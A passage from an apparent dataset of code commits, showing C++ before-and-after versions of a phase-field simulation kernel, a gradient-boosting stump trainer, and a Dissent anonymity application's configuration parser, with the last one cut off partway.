_s(coupledValue(\"chemical_potential\")),\n _lambda(getMaterialProperty<Real>(getParam<std::string>(\"lambda\"))),\n _s_eq(getMaterialProperty<Real>(getParam<std::string>(\"equilibrium_concentration\")))\n{\n}\n\nReal\nPhaseTransition::computeDFDOP(PFFunctionType type)\n{\n switch (type)\n { \n case Residual:\n return - coefficient(_qp) * (_lambda[_qp]) * (_s[_qp] - _s_eq[_qp]) * (1.0 - _u[_qp]*_u[_qp])*(1.0 - _u[_qp]*_u[_qp]);\n\n case Jacobian:\n return coefficient(_qp) * 4.0 * _lambda[_qp] * _u[_qp] * (-_u[_qp] * _u[_qp]+1.0) * (_s[_qp] - _s_eq[_qp]) * _phi[_j][_qp];\n }\n}\n<commit_msg>Always have return value<commit_after>\/****************************************************************\/\n\/* PIKA - Phase field snow micro-structure model *\/\n\/* *\/\n\/* Prepared by Battelle Energy Alliance, LLC *\/\n\/* Under Contract No. DE-AC07-05ID14517 *\/\n\/* With the U. S. Department of Energy *\/\n\/* *\/\n\/* See COPYRIGHT for full restrictions *\/\n\/****************************************************************\/\n\n#include \"PhaseTransition.h\"\n#include \"AirProperties.h\"\n\ntemplate<>\nInputParameters validParams<PhaseTransition>()\n{\n InputParameters params = validParams<ACBulk>();\n params += validParams<CoefficientKernelInterface>();\n params.addRequiredCoupledVar(\"chemical_potential\", \"The chemical potential variable to couple\");\n params.addParam<std::string>(\"lambda\", \"lambda\", \"The name of the material property containing the definition of lambda\");\n params.addParam<std::string>(\"equilibrium_concentration\", \"equilibrium_concentration\", \"The name of the material property containing the equilibrium concentration\");\n\n return params;\n}\n\nPhaseTransition::PhaseTransition(const std::string & name, InputParameters parameters) :\n ACBulk(name, parameters),\n PropertyUserObjectInterface(name, parameters),\n CoefficientKernelInterface(name, parameters),\n _s(coupledValue(\"chemical_potential\")),\n _lambda(getMaterialProperty<Real>(getParam<std::string>(\"lambda\"))),\n _s_eq(getMaterialProperty<Real>(getParam<std::string>(\"equilibrium_concentration\")))\n{\n}\n\nReal\nPhaseTransition::computeDFDOP(PFFunctionType type)\n{\n switch (type)\n {\n case Residual:\n return - coefficient(_qp) * (_lambda[_qp]) * (_s[_qp] - _s_eq[_qp]) * (1.0 - _u[_qp]*_u[_qp])*(1.0 - _u[_qp]*_u[_qp]);\n\n case Jacobian:\n return coefficient(_qp) * 4.0 * _lambda[_qp] * _u[_qp] * (-_u[_qp] * _u[_qp]+1.0) * (_s[_qp] - _s_eq[_qp]) * _phi[_j][_qp];\n }\n return 0.0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"gboost.h\"\n#include \"solver.h\"\n#include \"core\/tpool.h\"\n#include \"core\/logger.h\"\n#include \"gboost_stump.h\"\n#include \"core\/ibstream.h\"\n#include \"core\/obstream.h\"\n\nusing namespace nano;\n\nstatic auto measure(const task_t& task, const fold_t& fold, const tensor4d_t& outputs, const loss_t& loss)\n{\n const auto& tpool = tpool_t::instance();\n\n std::vector<stats_t> errors(tpool.workers());\n std::vector<stats_t> values(tpool.workers());\n\n loopit(task.size(fold), [&] (const size_t i, const size_t t)\n {\n assert(t < tpool.workers());\n const auto input = task.input(fold, i);\n const auto target = task.target(fold, i);\n const auto output = outputs.tensor(i);\n\n errors[t](loss.error(target, output));\n values[t](loss.value(target, output));\n });\n\n for (size_t t = 1; t < tpool.workers(); ++ t)\n {\n errors[0](errors[t]);\n values[0](values[t]);\n }\n\n return std::make_pair(errors[0], values[0]);\n}\n\nstatic void update(const task_t& task, const fold_t& fold, tensor4d_t& outputs, const stump_t& stump)\n{\n loopi(task.size(fold), [&] (const size_t i)\n {\n const auto input = task.input(fold, i);\n const auto oindex = input(stump.m_feature) < stump.m_threshold ? 0 : 1;\n outputs.array(i) += stump.m_outputs.array(oindex);\n });\n}\n\n\/\/ todo: break the computation in smaller functions (move them to gboost.h)\n\/\/ todo: better comment tensor\/tensor.h\n\nvoid gboost_stump_t::to_json(json_t& json) const\n{\n nano::to_json(json,\n \"rounds\", m_rounds,\n \"patience\", m_patience,\n \"stump\", m_stype, \"stumps\", join(enum_values<stump>()),\n \"solver\", m_solver, \"solvers\", join(get_solvers().ids()),\n \"regularization\", m_rtype, \"regularizations\", join(enum_values<regularization>()));\n}\n\nvoid gboost_stump_t::from_json(const json_t& json)\n{\n nano::from_json(json,\n \"rounds\", m_rounds,\n \"patience\", m_patience,\n \"stump\", m_stype,\n \"solver\", m_solver,\n \"regularization\", m_rtype);\n}\n\ntrainer_result_t gboost_stump_t::train(const task_t& task, const size_t fold, const loss_t& loss)\n{\n \/\/ check if the solver is properly set\n rsolver_t solver;\n critical(solver = get_solvers().get(m_solver),\n strcat(\"invalid solver (\", m_solver, \")\"));\n\n m_idims = task.idims();\n m_odims = task.odims();\n\n m_stumps.clear();\n\n trainer_result_t result(\"<config>\");\n timer_t timer;\n\n const auto fold_train = fold_t{fold, protocol::train};\n const auto fold_valid = fold_t{fold, protocol::valid};\n const auto fold_test = fold_t{fold, protocol::test};\n\n tensor4d_t outputs_train(cat_dims(task.size(fold_train), m_odims));\n tensor4d_t outputs_valid(cat_dims(task.size(fold_valid), m_odims));\n tensor4d_t outputs_test(cat_dims(task.size(fold_test), m_odims));\n\n outputs_train.zero();\n outputs_valid.zero();\n outputs_test.zero();\n\n stats_t errors_train, errors_valid, errors_test;\n stats_t values_train, values_valid, values_test;\n\n std::tie(errors_train, values_train) = ::measure(task, fold_train, outputs_train, loss);\n std::tie(errors_valid, values_valid) = ::measure(task, fold_valid, outputs_valid, loss);\n std::tie(errors_test, values_test) = ::measure(task, fold_test, outputs_test, loss);\n\n result.update(trainer_state_t{timer.milliseconds(), 0,\n {values_train.avg(), errors_train.avg()},\n {values_valid.avg(), errors_valid.avg()},\n {values_test.avg(), errors_test.avg()}},\n m_patience);\n\n log_info() << result;\n\n tensor4d_t residuals_train(cat_dims(task.size(fold_train), m_odims));\n tensor3d_t residuals_pos1(m_odims), residuals_pos2(m_odims);\n tensor3d_t residuals_neg1(m_odims), residuals_neg2(m_odims);\n\n stump_t stump;\n tensor4d_t stump_outputs_train(cat_dims(task.size(fold_train), m_odims));\n\n tensor4d_t targets(cat_dims(task.size(fold_train), m_odims));\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto target = task.target(fold_train, i);\n targets.tensor(i) = target.tensor();\n }\n\n gboost_lsearch_function_t func(targets, outputs_train, stump_outputs_train, loss);\n\n for (auto round = 0; round < m_rounds && !result.is_done(); ++ round)\n {\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n const auto target = task.target(fold_train, i);\n const auto output = outputs_train.tensor(i);\n\n const auto vgrad = loss.vgrad(target, output);\n residuals_train.vector(i) = -vgrad.vector();\n }\n\n scalar_t best_value = std::numeric_limits<scalar_t>::max();\n\n \/\/ todo: generalize this - e.g. to use features that are products of two input features\n for (auto feature = 0; feature < nano::size(m_idims); ++ feature)\n {\n scalars_t fvalues(task.size(fold_train));\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n fvalues[i] = input(feature);\n }\n\n auto thresholds = fvalues;\n std::sort(thresholds.begin(), thresholds.end());\n thresholds.erase(std::unique(thresholds.begin(), thresholds.end()), thresholds.end());\n\n for (size_t t = 0; t + 1 < thresholds.size(); ++ t)\n {\n const auto threshold = (thresholds[t + 0] + thresholds[t + 1]) \/ 2;\n\n residuals_pos1.zero(), residuals_pos2.zero();\n residuals_neg1.zero(), residuals_neg2.zero();\n\n int cnt_pos = 0, cnt_neg = 0;\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto residual = residuals_train.tensor(i).array();\n if (fvalues[i] < threshold)\n {\n cnt_neg ++;\n residuals_neg1.array() += residual;\n residuals_neg2.array() += residual * residual;\n }\n else\n {\n cnt_pos ++;\n residuals_pos1.array() += residual;\n residuals_pos2.array() += residual * residual;\n }\n }\n\n const auto value =\n (residuals_pos2.array().sum() - residuals_pos1.array().square().sum() \/ cnt_pos) +\n (residuals_neg2.array().sum() - residuals_neg1.array().square().sum() \/ cnt_neg);\n\n \/\/log_info() << \"feature = \" << feature\n \/\/ << \", threshold = \" << threshold\n \/\/ << \", value = \" << value\n \/\/ << \", count = \" << cnt_neg << \"+\" << cnt_pos << \"=\" << task.size(fold_train);\n\n if (value < best_value)\n {\n best_value = value;\n stump.m_feature = feature;\n stump.m_threshold = threshold;\n stump.m_outputs.resize(cat_dims(2, m_odims));\n stump.m_outputs.vector(0) = residuals_neg1.vector() \/ cnt_neg;\n stump.m_outputs.vector(1) = residuals_pos1.vector() \/ cnt_pos;\n }\n\n \/\/ todo: fit both real and discrete stumps\n }\n }\n\n \/\/ line-search\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n const auto oindex = input(stump.m_feature) < stump.m_threshold ? 0 : 1;\n stump_outputs_train.tensor(i) = stump.m_outputs.tensor(oindex);\n }\n\n const auto state = solver->minimize(100, epsilon2<scalar_t>(), func, vector_t::Constant(1, 0));\n const auto step = state.x(0);\n\n stump.m_outputs.vector() *= step;\n m_stumps.push_back(stump);\n\n \/\/ update current outputs\n update(task, fold_train, outputs_train, stump);\n update(task, fold_valid, outputs_valid, stump);\n update(task, fold_test, outputs_test, stump);\n\n std::tie(errors_train, values_train) = ::measure(task, fold_train, outputs_train, loss);\n std::tie(errors_valid, values_valid) = ::measure(task, fold_valid, outputs_valid, loss);\n std::tie(errors_test, values_test) = ::measure(task, fold_test, outputs_test, loss);\n\n result.update(trainer_state_t{timer.milliseconds(), round + 1,\n {values_train.avg(), errors_train.avg()},\n {values_valid.avg(), errors_valid.avg()},\n {values_test.avg(), errors_test.avg()}},\n m_patience);\n\n log_info() << result << \",feature=\" << stump.m_feature << \",gamma=\" << step\n << \",solver=\" << state.m_status\n << \"|i=\" << state.m_iterations << \"|f=\" << state.f << \"|g=\" << state.convergence_criteria() << \".\";\n }\n\n \/\/ keep only the stumps up to optimum epoch (on the validation dataset)\n m_stumps.erase(\n m_stumps.begin() + result.optimum().m_epoch,\n m_stumps.end());\n\n return result;\n}\n\ntensor3d_t gboost_stump_t::output(const tensor3d_t& input) const\n{\n assert(input.dims() == m_idims);\n\n tensor3d_t output(m_odims);\n output.zero();\n\n const auto idata = input.array();\n auto odata = output.array();\n\n for (const auto& stump : m_stumps)\n {\n const auto oindex = idata(stump.m_feature) < stump.m_threshold ? 0 : 1;\n odata.array() += stump.m_outputs.array(oindex);\n }\n\n return output;\n}\n\nbool gboost_stump_t::save(obstream_t& stream) const\n{\n if ( !stream.write(m_idims) ||\n !stream.write(m_odims) ||\n !stream.write(m_rounds) ||\n !stream.write(m_stype) ||\n !stream.write(m_rtype) ||\n !stream.write(m_stumps.size()))\n {\n return false;\n }\n\n for (const auto& stump : m_stumps)\n {\n assert(stump.m_feature >= 0 && stump.m_feature < nano::size(m_idims));\n assert(stump.m_outputs.dims() == cat_dims(2, m_odims));\n\n if ( !stream.write(stump.m_feature) ||\n !stream.write(stump.m_threshold) ||\n !stream.write_tensor(stump.m_outputs))\n {\n return false;\n }\n }\n\n return true;\n}\n\nbool gboost_stump_t::load(ibstream_t& stream)\n{\n size_t n_stumps = 0;\n if ( !stream.read(m_idims) ||\n !stream.read(m_odims) ||\n !stream.read(m_rounds) ||\n !stream.read(m_stype) ||\n !stream.read(m_rtype) ||\n !stream.read(n_stumps))\n {\n return false;\n }\n\n m_stumps.resize(n_stumps);\n for (auto& stump : m_stumps)\n {\n if ( !stream.read(stump.m_feature) ||\n !stream.read(stump.m_threshold) ||\n !stream.read_tensor(stump.m_outputs) ||\n stump.m_feature < 0 ||\n stump.m_feature >= nano::size(m_idims) ||\n stump.m_outputs.dims() != cat_dims(2, m_odims))\n {\n return false;\n }\n }\n\n \/\/ todo: more verbose loading (#stumps, feature or coefficient statistics, idims...)\n\n return true;\n}\n\nprobes_t gboost_stump_t::probes() const\n{\n \/\/ todo: add probes here to measure the training and the evaluation time\n probes_t probes;\n return probes;\n}\n<commit_msg>improve logging for gboost stump<commit_after>#include \"gboost.h\"\n#include \"solver.h\"\n#include \"core\/tpool.h\"\n#include \"core\/logger.h\"\n#include \"gboost_stump.h\"\n#include \"core\/ibstream.h\"\n#include \"core\/obstream.h\"\n\nusing namespace nano;\n\nstatic auto measure(const task_t& task, const fold_t& fold, const tensor4d_t& outputs, const loss_t& loss)\n{\n const auto& tpool = tpool_t::instance();\n\n std::vector<stats_t> errors(tpool.workers());\n std::vector<stats_t> values(tpool.workers());\n\n loopit(task.size(fold), [&] (const size_t i, const size_t t)\n {\n assert(t < tpool.workers());\n const auto input = task.input(fold, i);\n const auto target = task.target(fold, i);\n const auto output = outputs.tensor(i);\n\n errors[t](loss.error(target, output));\n values[t](loss.value(target, output));\n });\n\n for (size_t t = 1; t < tpool.workers(); ++ t)\n {\n errors[0](errors[t]);\n values[0](values[t]);\n }\n\n return std::make_pair(errors[0], values[0]);\n}\n\nstatic void update(const task_t& task, const fold_t& fold, tensor4d_t& outputs, const stump_t& stump)\n{\n loopi(task.size(fold), [&] (const size_t i)\n {\n const auto input = task.input(fold, i);\n const auto oindex = input(stump.m_feature) < stump.m_threshold ? 0 : 1;\n outputs.array(i) += stump.m_outputs.array(oindex);\n });\n}\n\n\/\/ todo: break the computation in smaller functions (move them to gboost.h)\n\/\/ todo: better comment tensor\/tensor.h\n\nvoid gboost_stump_t::to_json(json_t& json) const\n{\n nano::to_json(json,\n \"rounds\", m_rounds,\n \"patience\", m_patience,\n \"stump\", m_stype, \"stumps\", join(enum_values<stump>()),\n \"solver\", m_solver, \"solvers\", join(get_solvers().ids()),\n \"regularization\", m_rtype, \"regularizations\", join(enum_values<regularization>()));\n}\n\nvoid gboost_stump_t::from_json(const json_t& json)\n{\n nano::from_json(json,\n \"rounds\", m_rounds,\n \"patience\", m_patience,\n \"stump\", m_stype,\n \"solver\", m_solver,\n \"regularization\", m_rtype);\n}\n\ntrainer_result_t gboost_stump_t::train(const task_t& task, const size_t fold, const loss_t& loss)\n{\n \/\/ check if the solver is properly set\n rsolver_t solver;\n critical(solver = get_solvers().get(m_solver),\n strcat(\"search solver (\", m_solver, \").\"));\n\n m_idims = task.idims();\n m_odims = task.odims();\n\n m_stumps.clear();\n\n trainer_result_t result(\"<config>\");\n timer_t timer;\n\n const auto fold_train = fold_t{fold, protocol::train};\n const auto fold_valid = fold_t{fold, protocol::valid};\n const auto fold_test = fold_t{fold, protocol::test};\n\n tensor4d_t outputs_train(cat_dims(task.size(fold_train), m_odims));\n tensor4d_t outputs_valid(cat_dims(task.size(fold_valid), m_odims));\n tensor4d_t outputs_test(cat_dims(task.size(fold_test), m_odims));\n\n outputs_train.zero();\n outputs_valid.zero();\n outputs_test.zero();\n\n stats_t errors_train, errors_valid, errors_test;\n stats_t values_train, values_valid, values_test;\n\n std::tie(errors_train, values_train) = ::measure(task, fold_train, outputs_train, loss);\n std::tie(errors_valid, values_valid) = ::measure(task, fold_valid, outputs_valid, loss);\n std::tie(errors_test, values_test) = ::measure(task, fold_test, outputs_test, loss);\n\n result.update(trainer_state_t{timer.milliseconds(), 0,\n {values_train.avg(), errors_train.avg()},\n {values_valid.avg(), errors_valid.avg()},\n {values_test.avg(), errors_test.avg()}},\n m_patience);\n\n log_info() << result << \".\";\n\n tensor4d_t residuals_train(cat_dims(task.size(fold_train), m_odims));\n tensor3d_t residuals_pos1(m_odims), residuals_pos2(m_odims);\n tensor3d_t residuals_neg1(m_odims), residuals_neg2(m_odims);\n\n stump_t stump;\n tensor4d_t stump_outputs_train(cat_dims(task.size(fold_train), m_odims));\n\n tensor4d_t targets(cat_dims(task.size(fold_train), m_odims));\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto target = task.target(fold_train, i);\n targets.tensor(i) = target.tensor();\n }\n\n gboost_lsearch_function_t func(targets, outputs_train, stump_outputs_train, loss);\n\n for (auto round = 0; round < m_rounds && !result.is_done(); ++ round)\n {\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n const auto target = task.target(fold_train, i);\n const auto output = outputs_train.tensor(i);\n\n const auto vgrad = loss.vgrad(target, output);\n residuals_train.vector(i) = -vgrad.vector();\n }\n\n scalar_t best_value = std::numeric_limits<scalar_t>::max();\n\n \/\/ todo: generalize this - e.g. to use features that are products of two input features\n for (auto feature = 0; feature < nano::size(m_idims); ++ feature)\n {\n scalars_t fvalues(task.size(fold_train));\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n fvalues[i] = input(feature);\n }\n\n auto thresholds = fvalues;\n std::sort(thresholds.begin(), thresholds.end());\n thresholds.erase(std::unique(thresholds.begin(), thresholds.end()), thresholds.end());\n\n for (size_t t = 0; t + 1 < thresholds.size(); ++ t)\n {\n const auto threshold = (thresholds[t + 0] + thresholds[t + 1]) \/ 2;\n\n residuals_pos1.zero(), residuals_pos2.zero();\n residuals_neg1.zero(), residuals_neg2.zero();\n\n int cnt_pos = 0, cnt_neg = 0;\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto residual = residuals_train.tensor(i).array();\n if (fvalues[i] < threshold)\n {\n cnt_neg ++;\n residuals_neg1.array() += residual;\n residuals_neg2.array() += residual * residual;\n }\n else\n {\n cnt_pos ++;\n residuals_pos1.array() += residual;\n residuals_pos2.array() += residual * residual;\n }\n }\n\n const auto value =\n (residuals_pos2.array().sum() - residuals_pos1.array().square().sum() \/ cnt_pos) +\n (residuals_neg2.array().sum() - residuals_neg1.array().square().sum() \/ cnt_neg);\n\n \/\/log_info() << \"feature = \" << feature\n \/\/ << \", threshold = \" << threshold\n \/\/ << \", value = \" << value\n \/\/ << \", count = \" << cnt_neg << \"+\" << cnt_pos << \"=\" << task.size(fold_train);\n\n if (value < best_value)\n {\n best_value = value;\n stump.m_feature = feature;\n stump.m_threshold = threshold;\n stump.m_outputs.resize(cat_dims(2, m_odims));\n stump.m_outputs.vector(0) = residuals_neg1.vector() \/ cnt_neg;\n stump.m_outputs.vector(1) = residuals_pos1.vector() \/ cnt_pos;\n }\n\n \/\/ todo: fit both real and discrete stumps\n }\n }\n\n \/\/ line-search\n for (size_t i = 0, size = task.size(fold_train); i < size; ++ i)\n {\n const auto input = task.input(fold_train, i);\n const auto oindex = input(stump.m_feature) < stump.m_threshold ? 0 : 1;\n stump_outputs_train.tensor(i) = stump.m_outputs.tensor(oindex);\n }\n\n const auto state = solver->minimize(100, epsilon2<scalar_t>(), func, vector_t::Constant(1, 0));\n const auto step = state.x(0);\n\n stump.m_outputs.vector() *= step;\n m_stumps.push_back(stump);\n\n \/\/ update current outputs\n update(task, fold_train, outputs_train, stump);\n update(task, fold_valid, outputs_valid, stump);\n update(task, fold_test, outputs_test, stump);\n\n std::tie(errors_train, values_train) = ::measure(task, fold_train, outputs_train, loss);\n std::tie(errors_valid, values_valid) = ::measure(task, fold_valid, outputs_valid, loss);\n std::tie(errors_test, values_test) = ::measure(task, fold_test, outputs_test, loss);\n\n result.update(trainer_state_t{timer.milliseconds(), round + 1,\n {values_train.avg(), errors_train.avg()},\n {values_valid.avg(), errors_valid.avg()},\n {values_test.avg(), errors_test.avg()}},\n m_patience);\n\n log_info() << result\n << \",feature=\" << stump.m_feature\n << \",solver=(\" << state.m_status\n << \",i=\" << state.m_iterations\n << \",x=\" << state.x(0)\n << \",f=\" << state.f\n << \",g=\" << state.convergence_criteria() << \").\";\n }\n\n \/\/ keep only the stumps up to optimum epoch (on the validation dataset)\n m_stumps.erase(\n m_stumps.begin() + result.optimum().m_epoch,\n m_stumps.end());\n\n return result;\n}\n\ntensor3d_t gboost_stump_t::output(const tensor3d_t& input) const\n{\n assert(input.dims() == m_idims);\n\n tensor3d_t output(m_odims);\n output.zero();\n\n const auto idata = input.array();\n auto odata = output.array();\n\n for (const auto& stump : m_stumps)\n {\n const auto oindex = idata(stump.m_feature) < stump.m_threshold ? 0 : 1;\n odata.array() += stump.m_outputs.array(oindex);\n }\n\n return output;\n}\n\nbool gboost_stump_t::save(obstream_t& stream) const\n{\n if ( !stream.write(m_idims) ||\n !stream.write(m_odims) ||\n !stream.write(m_rounds) ||\n !stream.write(m_stype) ||\n !stream.write(m_rtype) ||\n !stream.write(m_stumps.size()))\n {\n return false;\n }\n\n for (const auto& stump : m_stumps)\n {\n assert(stump.m_feature >= 0 && stump.m_feature < nano::size(m_idims));\n assert(stump.m_outputs.dims() == cat_dims(2, m_odims));\n\n if ( !stream.write(stump.m_feature) ||\n !stream.write(stump.m_threshold) ||\n !stream.write_tensor(stump.m_outputs))\n {\n return false;\n }\n }\n\n return true;\n}\n\nbool gboost_stump_t::load(ibstream_t& stream)\n{\n size_t n_stumps = 0;\n if ( !stream.read(m_idims) ||\n !stream.read(m_odims) ||\n !stream.read(m_rounds) ||\n !stream.read(m_stype) ||\n !stream.read(m_rtype) ||\n !stream.read(n_stumps))\n {\n return false;\n }\n\n m_stumps.resize(n_stumps);\n for (auto& stump : m_stumps)\n {\n if ( !stream.read(stump.m_feature) ||\n !stream.read(stump.m_threshold) ||\n !stream.read_tensor(stump.m_outputs) ||\n stump.m_feature < 0 ||\n stump.m_feature >= nano::size(m_idims) ||\n stump.m_outputs.dims() != cat_dims(2, m_odims))\n {\n return false;\n }\n }\n\n \/\/ todo: more verbose loading (#stumps, feature or coefficient statistics, idims...)\n\n return true;\n}\n\nprobes_t gboost_stump_t::probes() const\n{\n \/\/ todo: add probes here to measure the training and the evaluation time\n probes_t probes;\n return probes;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Transports\/AddressFactory.hpp\"\n#include \"Utils\/Logging.hpp\"\n\n#include \"Settings.hpp\"\n\nusing Dissent::Utils::Logging;\n\nnamespace Dissent {\nnamespace Applications {\n Settings::Settings(const QString &file, bool actions) :\n _use_file(true),\n _settings(new QSettings(file, QSettings::IniFormat))\n {\n Init(actions);\n }\n\n Settings::Settings() :\n _use_file(false),\n _settings(new QSettings())\n {\n Init();\n }\n\n Settings::Settings(const QSharedPointer<QSettings> &settings,\n bool file, bool actions) :\n _use_file(file),\n _settings(settings)\n {\n Init(actions);\n }\n\n void Settings::Init(bool actions)\n {\n if(_settings->value(Param<Params::Help>(), false).toBool()) {\n Help = true;\n return;\n }\n Help = false;\n\n QVariant remote = _settings->value(Param<Params::RemoteEndPoints>());\n RemoteEndPoints = ParseAddressList(\"RemoteEndPoints\", remote);\n\n QVariant local = _settings->value(Param<Params::LocalEndPoints>());\n LocalEndPoints = ParseAddressList(\"EndPoint\", local);\n\n Auth = _settings->value(Param<Params::Auth>(), true).toBool();\n LocalNodeCount = _settings->value(Param<Params::LocalNodeCount>(), 1).toInt();\n Console = _settings->value(Param<Params::Console>(), false).toBool();\n ExitTunnel = _settings->value(Param<Params::ExitTunnel>(), false).toBool();\n Multithreading = _settings->value(Param<Params::Multithreading>(), false).toBool();\n\n WebServerUrl = TryParseUrl(_settings->value(Param<Params::WebServerUrl>()).toString(), \"http\");\n WebServer = WebServerUrl != QUrl();\n\n EntryTunnelUrl = TryParseUrl(_settings->value(Param<Params::EntryTunnelUrl>()).toString(), \"tcp\");\n EntryTunnel = EntryTunnelUrl != QUrl();\n\n ExitTunnelProxyUrl = TryParseUrl(_settings->value(Param<Params::ExitTunnelProxyUrl>()).toString(), \"tcp\");\n ExitTunnel = (ExitTunnelProxyUrl != QUrl()) || ExitTunnel;\n\n if(_settings->contains(Param<Params::RoundType>())) {\n QString stype = _settings->value(Param<Params::RoundType>()).toString();\n RoundType = Anonymity::RoundFactory::GetRoundType(stype);\n } else {\n RoundType = Anonymity::RoundFactory::NULL_ROUND;\n }\n\n Log = _settings->value(Param<Params::Log>(), \"null\").toString();\n\n QString log_lower = Log.toLower();\n if(actions) {\n if(log_lower == \"stderr\") {\n Logging::UseStderr();\n } else if(log_lower == \"stdout\") {\n Logging::UseStdout();\n } else if(log_lower == \"null\" || log_lower.isEmpty()) {\n Logging::Disable();\n } else {\n Logging::UseFile(Log);\n }\n }\n\n if(_settings->contains(Param<Params::LocalId>())) {\n LocalId = ParseIdList(_settings->value(Param<Params::LocalId>()));\n }\n\n if(_settings->contains(Param<Params::ServerIds>())) {\n ServerIds = ParseIdList(_settings->value(Param<Params::ServerIds>()));\n }\n\n PublicKeys = _settings->value(Param<Params::PublicKeys>()).toString();\n PrivateKeys = _settings->value(Param<Params::PrivateKeys>()).toString();\n }\n\n bool Settings::IsValid()\n {\n if(_use_file && (_settings->status() != QSettings::NoError)) {\n _reason = \"File error\";\n return false;\n }\n\n if(!LocalEndPoints.count()) {\n _reason = \"No local end points\";\n return false;\n }\n\n if(WebServer && (!WebServerUrl.isValid() || WebServerUrl.isEmpty())) {\n _reason = \"Invalid WebServerUrl: \" + WebServerUrl.toString();\n return false;\n }\n\n if(EntryTunnel && (!EntryTunnelUrl.isValid() || EntryTunnelUrl.isEmpty())) {\n _reason = \"Invalid EntryTunnelUrl: \" + EntryTunnelUrl.toString();\n return false;\n }\n\n if(!ServerIds.count()) {\n _reason = \"No server Ids\";\n return false;\n }\n\n if(Auth && (LocalId.count() != LocalNodeCount)) {\n _reason = QString(\"Insufficient local ids, found %1, expected %2.\").\n arg(LocalId.count()).arg(LocalNodeCount);\n return false;\n }\n\n if(RoundType == Anonymity::RoundFactory::INVALID) {\n _reason = \"Invalid round type: \" +\n _settings->value(Param<Params::RoundType>()).toString();\n return false;\n }\n\n return true;\n }\n\n QString Settings::GetError()\n {\n IsValid();\n return _reason;\n }\n\n QList<Transports::Address> Settings::ParseAddressList(const QString &name,\n const QVariant &values)\n {\n QList<Transports::Address> list;\n if(values.isNull()) {\n return list;\n }\n\n QVariantList varlist = values.toList();\n if(!varlist.empty()) {\n foreach(QVariant value, varlist) {\n list.append(Transports::AddressFactory::GetInstance().\n CreateAddress(ParseUrl(name, value)));\n }\n } else {\n list.append(Transports::AddressFactory::GetInstance().\n CreateAddress(ParseUrl(name, values)));\n }\n\n return list;\n }\n\n QUrl Settings::ParseUrl(const QString &name, const QVariant &value)\n {\n QUrl url(value.toString());\n if(!url.isValid()) {\n qFatal(\"Invalid %s: %s\", name.toLatin1().data(),\n value.toString().toLatin1().data());\n }\n return url;\n }\n\n QUrl Settings::TryParseUrl(const QString &string_rep, const QString &scheme)\n {\n QUrl url = QUrl(string_rep);\n if(url.toString() != string_rep) {\n return QUrl();\n }\n\n if(url.scheme() != scheme) {\n return QUrl();\n }\n return url;\n }\n\n QList<Connections::Id> Settings::ParseIdList(const QVariant &qids)\n {\n QList<Connections::Id> id_list;\n\n QVariantList ids = qids.toList();\n if(!ids.empty()) {\n foreach(const QVariant &id, ids) {\n id_list.append(Connections::Id(id.toString()));\n }\n } else {\n id_list.append(Connections::Id(qids.toString()));\n }\n\n return id_list;\n }\n\n void Settings::Save()\n {\n if(!_use_file) {\n return;\n }\n\n QStringList peers;\n foreach(const Transports::Address &addr, RemoteEndPoints) {\n peers << addr.ToString();\n }\n\n if(!peers.empty()) {\n _settings->setValue(Param<Params::RemoteEndPoints>(), peers);\n }\n\n QStringList endpoints;\n foreach(const Transports::Address &addr, LocalEndPoints) {\n endpoints << addr.ToString();\n }\n\n if(!endpoints.empty()) {\n _settings->setValue(Param<Params::LocalEndPoints>(), endpoints);\n }\n\n _settings->setValue(Param<Params::LocalNodeCount>(), LocalNodeCount);\n _settings->setValue(Param<Params::WebServerUrl>(), WebServerUrl);\n _settings->setValue(Param<Params::Console>(), Console);\n _settings->setValue(Param<Params::Auth>(), Auth);\n _settings->setValue(Param<Params::Log>(), Log);\n _settings->setValue(Param<Params::Multithreading>(), Multithreading);\n\n QVariantList local_ids;\n foreach(const Connections::Id &id, LocalId) {\n local_ids.append(id.ToString());\n }\n _settings->setValue(Param<Params::LocalId>(), local_ids);\n\n QVariantList server_ids;\n foreach(const Connections::Id &id, ServerIds) {\n server_ids.append(id.ToString());\n }\n _settings->setValue(Param<Params::ServerIds>(), server_ids);\n }\n\n Settings Settings::CommandLineParse(const QStringList ¶ms, bool actions)\n {\n QSharedPointer<QxtCommandOptions> options = GetOptions();\n options->parse(params);\n QSharedPointer<QSettings> settings;\n bool file = (options->positional().count() > 0);\n\n if(file) {\n settings = QSharedPointer<QSettings>(\n new QSettings(options->positional()[0], QSettings::IniFormat));\n } else {\n settings = QSharedPointer<QSettings>(new QSettings());\n \/\/ Bug in other platforms?? I do not know...\n settings->clear();\n if(params.size() == 1) {\n settings->setValue(Param<Params::Help>(), true);\n }\n }\n\n QMultiHash<QString, QVariant> kv_params = options->parameters();\n\n if(kv_params.value(Param<Params::Help>(), false).toBool() && file) {\n file = false;\n settings = QSharedPointer<QSettings>(new QSettings());\n }\n\n foreach(const QString &key, kv_params.uniqueKeys()) {\n if(options->value(key).type() == QVariant::String &&\n options->value(key).toString().isEmpty())\n {\n settings->setValue(key, true);\n } else {\n settings->setValue(key, options->value(key));\n }\n }\n\n return Settings(settings, file, actions);\n }\n\n QSharedPointer<QxtCommandOptions> Settings::GetOptions()\n {\n QSharedPointer<QxtCommandOptions> options(new QxtCommandOptions());\n\n options->add(Param<Params::Help>(),\n \"help (this screen)\",\n QxtCommandOptions::NoValue);\n\n options->add(Param<Params::RemoteEndPoints>(),\n \"list of remote end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalEndPoints>(),\n \"list of local end points\",\n QxtCommandOptions::ValueRequired | QxtCommandOptions::AllowMultiple);\n\n options->add(Param<Params::LocalNodeCount>(),\n \"number of virtual nodes to start\",\n QxtCommandOptions::ValueRequired);\n\n 